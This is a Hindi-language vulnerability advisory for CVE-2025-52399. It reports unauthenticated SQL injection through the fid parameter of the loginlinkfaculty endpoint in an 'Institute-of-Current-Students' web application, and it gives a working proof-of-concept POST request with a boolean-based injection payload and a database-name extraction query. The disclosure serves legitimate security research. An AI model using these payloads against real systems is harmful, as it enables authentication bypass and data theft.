CVE-2025-52399 - वर्तमान छात्र संस्थान में SQL इंजेक्शन

सारांश

Institute-of-Current-Students एप्लिकेशन में loginlinkfaculty एंडपॉइंट fid POST पैरामीटर के माध्यम से SQL इंजेक्शन के प्रति संवेदनशील है। SQL क्वेरी में उपयोग करने से पहले पैरामीटर को ठीक से स्वच्छ नहीं किया जाता, जिससे दूरस्थ हमलावर मनमानी SQL कमांड निष्पादित कर सकते हैं।

• भेद्यता प्रकार: SQL इंजेक्शन
• प्रभावित घटक: /loginlinkfaculty (POST)
• प्रभावित पैरामीटर: fid
• प्रमाणीकरण: आवश्यक नहीं
• प्रभाव: प्रमाणीकरण बाईपास, डेटा निष्कर्षण
• परीक्षण किया गया: लोकलहोस्ट
• डेटाबेस: icsnew
• संस्करण: 1.0

PoC

HTTP अनुरोध

POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

fid=-1'+OR+3*2*1=6+AND+000942=000942--&pass=example

पेलोड परिणाम

✅ -1' OR 3*2*1=6 AND 000942=000942 -- → सत्य ❌ -1' OR 2*3=4 AND 000942=000942 -- → असत्य

डेटाबेस निष्कर्षण

SELECT database(); -- returns 'icsnew'

संदर्भ

• CVE-2025-52399 (MITRE)
• संवेदनशील एप्लिकेशन
• OWASP SQL इंजेक्शन

खोजकर्ता

Isroil Mustafoqulov